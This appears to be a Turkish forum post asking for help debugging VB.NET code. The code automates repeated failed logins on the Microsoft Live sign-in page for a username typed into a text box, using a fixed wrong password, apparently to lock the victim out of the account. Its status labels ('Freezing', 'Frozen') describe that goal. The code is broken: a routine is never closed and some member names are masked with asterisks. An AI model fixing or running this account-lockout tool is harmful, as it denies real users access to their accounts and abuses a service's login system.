Arkadaşlar bu kodlamamda yanlış yaptım ama bulamadım

Imports System.Threading
Public Class Form1
    Dim percent As Integer
    Private Sub Button1_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button1.Click
        percent = 0
        Label3.Text = "Freazing...[" & percent & "%]"
        timer1.start()
    End Sub

    Private Sub Timer1_Tick(ByVal sender As System.Object, ByVal e As System.EventArgs)
        percent += 5
        Label3.Text = "Freazing...[" & percent & "%]"
        On Error GoTo error1
        WebBrowser1.********.GetElementById("PasswordTextBox").SetAttribute("value", "xyzhdwdefrtgryyt")
        WebBrowser1.********.GetElementById("LoginTextBox").SetAttribute("value", TextBox1.Text)
        sleep(2000)
        WebBrowser1.********.GetElementById("PasswordSubmit").InvokeMember("click")   
        Exit Sub
error1: Label3.Text = "Frozen"
        WebBrowser1.Navigate("https://login.live.com/login.aspx")

    Private Sub Button2_Click(ByVal sender As System.Object, ByVal e As System.EventArgs)
        Timer1.Stop()
        Label3.Text = "Ready"
        MsgBox("Unfreezed")
    End Sub